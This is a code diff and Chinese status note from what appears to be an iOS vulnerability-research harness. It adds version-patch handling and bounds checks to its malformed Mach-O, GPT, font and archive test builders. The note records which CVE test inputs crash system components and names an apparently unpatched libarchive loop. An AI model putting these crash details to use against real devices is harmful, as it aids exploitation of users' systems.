armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV——CVE-2026-112688 的结构体外写在模拟器构建上真实命中。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。 armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV;C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态,而 macOS 导出的是单 `CFDataRef`(反汇编验证:arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`),所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。
31 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41(macOS 上带数据的文件不走 decmpfs)。其余都在入口层被拒——与 app 验证台同形回执。
## 模块语义 ## 模块语义
+30 -20
View File
@@ -8,8 +8,14 @@ import SwiftUI
enum VersionGate { enum VersionGate {
enum Result { enum Result {
case supported(major: Int, minor: Int, build: String) case supported(major: Int, minor: Int, patch: Int, build: String)
case unsupported(major: Int, minor: Int, build: String) case unsupported(major: Int, minor: Int, patch: Int, build: String)
}
/// "27.0" for a zero patch, "27.0.1" when there is one. The patch is part of the
/// answer — a 27.0.1 device that reports "27.0" is a false reading.
static func versionString(major: Int, minor: Int, patch: Int) -> String {
patch != 0 ? "\(major).\(minor).\(patch)" : "\(major).\(minor)"
} }
static func evaluate() -> Result { static func evaluate() -> Result {
@@ -34,11 +40,11 @@ enum VersionGate {
} }
// An explicit override exists for research builds where the version string lies. // An explicit override exists for research builds where the version string lies.
if ProcessInfo.processInfo.environment["CINDER27_FORCE_GATE"] == "1" { if ProcessInfo.processInfo.environment["CINDER27_FORCE_GATE"] == "1" {
return .supported(major: v.majorVersion, minor: v.minorVersion, build: build) return .supported(major: v.majorVersion, minor: v.minorVersion, patch: v.patchVersion, build: build)
} }
return supported return supported
? .supported(major: v.majorVersion, minor: v.minorVersion, build: build) ? .supported(major: v.majorVersion, minor: v.minorVersion, patch: v.patchVersion, build: build)
: .unsupported(major: v.majorVersion, minor: v.minorVersion, build: build) : .unsupported(major: v.majorVersion, minor: v.minorVersion, patch: v.patchVersion, build: build)
} }
static var isSupported: Bool { static var isSupported: Bool {
@@ -53,17 +59,17 @@ struct GateView: View {
enum Phase { enum Phase {
case checking case checking
case supported(major: Int, minor: Int, build: String) case supported(major: Int, minor: Int, patch: Int, build: String)
case unsupported(major: Int, minor: Int, build: String) case unsupported(major: Int, minor: Int, patch: Int, build: String)
} }
var body: some View { var body: some View {
ZStack { ZStack {
T.bg.ignoresSafeArea() T.bg.ignoresSafeArea()
if entered, case let .supported(major, minor, build) = phase { if entered, case let .supported(major, minor, patch, build) = phase {
RootView() RootView()
.environment(\.gateInfo, GateInfo(major: major, minor: minor, build: build)) .environment(\.gateInfo, GateInfo(major: major, minor: minor, patch: patch, build: build))
.transition(.opacity) .transition(.opacity)
} else { } else {
content content
@@ -106,7 +112,7 @@ struct GateView: View {
} }
.padding(.top, 20) .padding(.top, 20)
case let .supported(major, minor, build): case let .supported(major, minor, patch, build):
Card { Card {
VStack(alignment: .leading, spacing: 10) { VStack(alignment: .leading, spacing: 10) {
HStack(spacing: 8) { HStack(spacing: 8) {
@@ -117,7 +123,7 @@ struct GateView: View {
.font(.system(size: 15, weight: .semibold, design: .rounded)) .font(.system(size: 15, weight: .semibold, design: .rounded))
.foregroundColor(T.good) .foregroundColor(T.good)
} }
KeyValueRow(key: t("gate.detected"), value: "iOS \(major).\(minor)") KeyValueRow(key: t("gate.detected"), value: VersionGate.versionString(major: major, minor: minor, patch: patch))
KeyValueRow(key: t("gate.build"), value: build) KeyValueRow(key: t("gate.build"), value: build)
KeyValueRow(key: t("gate.required"), value: "17.0 – 27.1") KeyValueRow(key: t("gate.required"), value: "17.0 – 27.1")
} }
@@ -129,7 +135,7 @@ struct GateView: View {
} }
.padding(.horizontal, 24) .padding(.horizontal, 24)
case let .unsupported(major, minor, build): case let .unsupported(major, minor, patch, build):
Card { Card {
VStack(alignment: .leading, spacing: 10) { VStack(alignment: .leading, spacing: 10) {
HStack(spacing: 8) { HStack(spacing: 8) {
@@ -140,7 +146,7 @@ struct GateView: View {
.font(.system(size: 15, weight: .semibold, design: .rounded)) .font(.system(size: 15, weight: .semibold, design: .rounded))
.foregroundColor(T.bad) .foregroundColor(T.bad)
} }
KeyValueRow(key: t("gate.detected"), value: "iOS \(major).\(minor)", tint: T.bad) KeyValueRow(key: t("gate.detected"), value: VersionGate.versionString(major: major, minor: minor, patch: patch), tint: T.bad)
KeyValueRow(key: t("gate.build"), value: build) KeyValueRow(key: t("gate.build"), value: build)
KeyValueRow(key: t("gate.required"), value: "17.0 – 27.1") KeyValueRow(key: t("gate.required"), value: "17.0 – 27.1")
Divider().overlay(T.stroke) Divider().overlay(T.stroke)
@@ -170,8 +176,8 @@ struct GateView: View {
private var phaseText: String { private var phaseText: String {
switch phase { switch phase {
case .checking: return "checking" case .checking: return "checking"
case let .supported(m, n, _): return "ok-\(m).\(n)" case let .supported(m, n, p, _): return "ok-\(m).\(n).\(p)"
case let .unsupported(m, n, _): return "no-\(m).\(n)" case let .unsupported(m, n, p, _): return "no-\(m).\(n).\(p)"
} }
} }
@@ -179,10 +185,10 @@ struct GateView: View {
phase = .checking phase = .checking
DispatchQueue.main.asyncAfter(deadline: .now() + 0.45) { DispatchQueue.main.asyncAfter(deadline: .now() + 0.45) {
switch VersionGate.evaluate() { switch VersionGate.evaluate() {
case let .supported(major, minor, build): case let .supported(major, minor, patch, build):
phase = .supported(major: major, minor: minor, build: build) phase = .supported(major: major, minor: minor, patch: patch, build: build)
case let .unsupported(major, minor, build): case let .unsupported(major, minor, patch, build):
phase = .unsupported(major: major, minor: minor, build: build) phase = .unsupported(major: major, minor: minor, patch: patch, build: build)
} }
} }
} }
@@ -191,11 +197,15 @@ struct GateView: View {
struct GateInfo { struct GateInfo {
let major: Int let major: Int
let minor: Int let minor: Int
let patch: Int
let build: String let build: String
/// The full detected version, patch included — what the gate actually read.
var osVersion: String { VersionGate.versionString(major: major, minor: minor, patch: patch) }
} }
private struct GateInfoKey: EnvironmentKey { private struct GateInfoKey: EnvironmentKey {
static let defaultValue = GateInfo(major: 0, minor: 0, build: "—") static let defaultValue = GateInfo(major: 0, minor: 0, patch: 0, build: "—")
} }
extension EnvironmentValues { extension EnvironmentValues {
+1
View File
@@ -293,6 +293,7 @@ struct DeviceModel {
"iPhone19,2": "iPhone 18 Pro Max", "iPhone19,2": "iPhone 18 Pro Max",
"iPhone19,3": "iPhone 18", "iPhone19,3": "iPhone 18",
"iPhone19,4": "iPhone 18 Air", "iPhone19,4": "iPhone 18 Air",
"iPhone19,7": "iPhone 18 Pro Max",
] ]
return table[machine] ?? machine return table[machine] ?? machine
} }
+4 -2
View File
@@ -246,9 +246,11 @@ enum MachO {
} }
guard removed > 0 else { return (data, 0) } guard removed > 0 else { return (data, 0) }
// rewrite the command stream in place, then zero the tail of the old region // rewrite the command stream in place, then zero the tail of the old region.
// sizeofcmds is attacker-controlled in a malformed header — clamp before indexing,
// or the zeroing loop below walks off the end of the image.
let streamStart = h.headerSize let streamStart = h.headerSize
let oldEnd = streamStart + Int(h.sizeofcmds) let oldEnd = min(streamStart + Int(h.sizeofcmds), out.count)
out.replaceSubrange(streamStart..<(streamStart + kept.count), with: kept) out.replaceSubrange(streamStart..<(streamStart + kept.count), with: kept)
if streamStart + kept.count < oldEnd { if streamStart + kept.count < oldEnd {
for i in (streamStart + kept.count)..<oldEnd { out[i] = 0 } for i in (streamStart + kept.count)..<oldEnd { out[i] = 0 }
-2
View File
@@ -466,7 +466,6 @@ enum Decmpfs {
out.append(contentsOf: B.le32(typeZlibChunked)) out.append(contentsOf: B.le32(typeZlibChunked))
out.append(contentsOf: B.le64(UInt64(uncompressedSize))) out.append(contentsOf: B.le64(UInt64(uncompressedSize)))
let headerSize = 16 + (chunkCount + 1) * 4
var chunkBlobs: [[UInt8]] = [] var chunkBlobs: [[UInt8]] = []
for _ in 0..<chunkCount { for _ in 0..<chunkCount {
// flag 0x00 + zlib stream that decompresses to producePerChunk bytes of 0x41 // flag 0x00 + zlib stream that decompresses to producePerChunk bytes of 0x41
@@ -498,7 +497,6 @@ enum Decmpfs {
} }
offsets.append(running) offsets.append(running)
for o in offsets { out.append(contentsOf: B.le32(o)) } for o in offsets { out.append(contentsOf: B.le32(o)) }
_ = headerSize
for blob in chunkBlobs { out.append(contentsOf: blob) } for blob in chunkBlobs { out.append(contentsOf: blob) }
return out return out
} }
+9 -3
View File
@@ -413,10 +413,16 @@ enum GPTPayload {
let entryLBA = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 72, as: UInt64.self) } let entryLBA = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 72, as: UInt64.self) }
let entryCount = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 80, as: UInt32.self) } let entryCount = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 80, as: UInt32.self) }
let entrySize = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 84, as: UInt32.self) } let entrySize = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 84, as: UInt32.self) }
// every one of these is attacker-controlled in a hand-crafted image; the Int
// conversions trap on huge values, and the multiply overflows. Bound them to
// values that can only index inside the image we already hold.
let safeLBA = entryLBA > 0 ? min(entryLBA, UInt64(image.count / 512)) : 0
let safeCount = min(Int(entryCount), 4096)
let safeSize = entrySize > 0 ? min(Int(entrySize), 512) : 128
lines.append(tl("GPT 头: 条目表 LBA ") + "\(entryLBA)" + tl(" · ") + "\(entryCount)" + tl(" 项 · 每项 ") + "\(entrySize)" + tl(" B")) lines.append(tl("GPT 头: 条目表 LBA ") + "\(entryLBA)" + tl(" · ") + "\(entryCount)" + tl(" 项 · 每项 ") + "\(entrySize)" + tl(" B"))
let base = Int(entryLBA) * 512 let base = Int(safeLBA) * 512
for i in 0..<Int(entryCount) { for i in 0..<safeCount {
let off = base + i * Int(entrySize) let off = base + i * safeSize
guard off + 128 <= image.count else { break } guard off + 128 <= image.count else { break }
var units: [UInt16] = [] var units: [UInt16] = []
for k in 0..<36 { for k in 0..<36 {
+13 -6
View File
@@ -317,13 +317,20 @@ enum Runners {
bitmapInfo: CGImageAlphaInfo.premultipliedLast.rawValue) else { bitmapInfo: CGImageAlphaInfo.premultipliedLast.rawValue) else {
throw LabError(message: tl("上下文创建失败")) throw LabError(message: tl("上下文创建失败"))
} }
// drawing forces the charstring interpreter to run // drawing forces the charstring interpreter to run.
for g in 1..<min(Int(glyphCount), 8) { // glyphCount == 0 is a real malformed-font shape (the POCs feed exactly those),
var glyph = CGGlyph(g) // and `1..<0` would trap — guard the range instead of assuming the count.
var position = CGPoint(x: 20, y: CGFloat(40 * (g + 1))) let upper = min(Int(glyphCount), 8)
CTFontDrawGlyphs(ctFont, &glyph, &position, 1, ctx) var drawn = 0
if upper > 1 {
for g in 1..<upper {
var glyph = CGGlyph(g)
var position = CGPoint(x: 20, y: CGFloat(40 * (g + 1)))
CTFontDrawGlyphs(ctFont, &glyph, &position, 1, ctx)
drawn += 1
}
} }
return tl("字体加载成功 name=") + "\(name)" + tl(" glyphs=") + "\(glyphCount)" + tl(",已绘制 ") + "\(min(Int(glyphCount), 8) - 1)" + tl(" 个字形") return tl("字体加载成功 name=") + "\(name)" + tl(" glyphs=") + "\(glyphCount)" + tl(",已绘制 ") + "\(drawn)" + tl(" 个字形")
} }
// ---- Model I/O (libusd_ms) // ---- Model I/O (libusd_ms)
+4 -4
View File
@@ -174,10 +174,7 @@ enum Identity {
rows.append((tl("主机名"), sysctlString("kern.hostname") ?? "—")) rows.append((tl("主机名"), sysctlString("kern.hostname") ?? "—"))
rows.append((tl("启动 UUID"), sysctlString("kern.bootsessionuuid") ?? "—")) rows.append((tl("启动 UUID"), sysctlString("kern.bootsessionuuid") ?? "—"))
rows.append((tl("启动时间"), sysctlString("kern.boottime") ?? "—")) rows.append((tl("启动时间"), sysctlString("kern.boottime") ?? "—"))
if let model = sysctlString("hw.machine") { rows.append((tl("市场名称"), DeviceModel.current().marketingName))
rows.append((tl("市场名称"), DeviceModel.current().marketingName))
_ = model
}
rows.append((tl("广告标识符"), ASIdentifierSummary.current)) rows.append((tl("广告标识符"), ASIdentifierSummary.current))
return rows return rows
} }
@@ -359,6 +356,9 @@ struct MachOInfo {
enum MachOInspector { enum MachOInspector {
static func inspect(_ path: String) -> MachOInfo? { static func inspect(_ path: String) -> MachOInfo? {
guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else { return nil } guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else { return nil }
// a Mach-O header needs at least the magic; anything shorter is not one. The
// load below would read past the buffer (or hit a nil base on empty Data).
guard data.count >= 4 else { return nil }
var info = MachOInfo() var info = MachOInfo()
let magic = data.withUnsafeBytes { $0.load(as: UInt32.self) } let magic = data.withUnsafeBytes { $0.load(as: UInt32.self) }
-15
View File
@@ -1,19 +1,4 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
# arc.rr · libarchive · RockRidge CL/PL · —
# 原语: 探测 · 进程内 | Primitive: probe · in-process
#
# [zh] RockRidge 重定位环(未修复孪生)
# 上游已于 2026 年 9 月修复 RockRidge 重定位环导致的无限循环(d14de384fcc6),Apple 未取该提交。该缺陷在 27.0 与 27.2 上均存在,是本工程中唯一一条对当前系统同样成立的候选。
#
# [en] RockRidge relocation cycle (unfixed sibling)
# Upstream fixed the infinite loop caused by a RockRidge relocation cycle in September 2026
# (d14de384fcc6) and Apple did not take the commit. The defect is present on both 27.0 and 27.2,
# making it the only candidate in this project that also holds on current systems.
#
# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
# 触发器(run 闭包)与非种子构建器: 同目录 arc.rr.swift
# triggers (run closures) & non-seed builders: arc.rr.swift in this folder
import struct import struct
SECTOR = 2048 SECTOR = 2048
+2 -18
View File
@@ -1,23 +1,8 @@
// arc.rr · libarchive · RockRidge CL/PL · — // arc.rr · libarchive · RockRidge CL/PL · —
// 原语: 探测 · 进程内 · tier 3 // RockRidge relocation cycle (unfixed sibling)
// Primitive: probe · in-process · tier 3
//
// [zh] RockRidge 重定位环(未修复孪生)
// 上游已于 2026 年 9 月修复 RockRidge 重定位环导致的无限循环(d14de384fcc6),Apple 未取该提交。该缺陷在 27.0 与 27.2 上均存在,是本工程中唯一一条对当前系统同样成立的候选。
//
// [en] RockRidge relocation cycle (unfixed sibling)
// Upstream fixed the infinite loop caused by a RockRidge relocation cycle in September 2026 (d14de384fcc6)
// and Apple did not take the commit. The defect is present on both 27.0 and 27.2, making it the only
// candidate in this project that also holds on current systems.
// ── 判别 / oracle ──
// 以 Joliet 种子的同级结构构造 CL 指向自身的目录项。该路径一旦成立即会挂起,故测量耗时并设阈值判断。
//
// 种子构建器(python,可直接运行): arc.rr/arc.rr.py
// runnable python seed builder: arc.rr/arc.rr.py
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -39,4 +24,3 @@ enum B {
} }